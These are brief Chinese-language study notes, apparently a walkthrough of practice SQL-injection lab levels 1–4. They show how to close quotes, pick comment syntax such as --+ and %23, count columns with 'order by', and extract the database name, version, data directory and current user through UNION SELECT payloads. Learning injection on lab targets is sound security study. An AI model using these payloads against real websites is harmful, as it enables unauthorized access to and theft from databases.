可以看到输入?id=1' 后页面出现报错信息,看到引号没有正确闭合,我们可以在输入的信息后面再加1'个注释,注释掉后面单引号,就可以正确闭合
出现报错基本就是有漏洞
注释,由于url特殊符号会被过滤,所以常用
%23(#)
--+
--%20(-- )
就可以正常输出
1
检查字段
1,2,3,4...一次尝试
?id=1' order by 4 --+
到4看到页面报错,说明字段为3
联合查询
前面的条件为假,后面的语句就可以执行
?id=1' and 1=2 union select 1,2,3 --+
页面输出了2,3的信息
接下来就可以插入恶意语句
database() 返回数据库名
version() 返回版本
@@datadir MYSQL服务器的数据目录路径
current_user() 当前用户的用户名和主机名
2
输出的报错信息
' LIMIT 0,1
把引号闭合
去掉1后面的'
可以注入了
?id=1 and 1=2 union select 1,database(),version() --+
3
输出的报错信息
'1'') LIMIT 0,1将)提前闭合
?id=1') --+
4
"1"") LIMIT 0,1和3一样,变成了双引号
?id=1") --+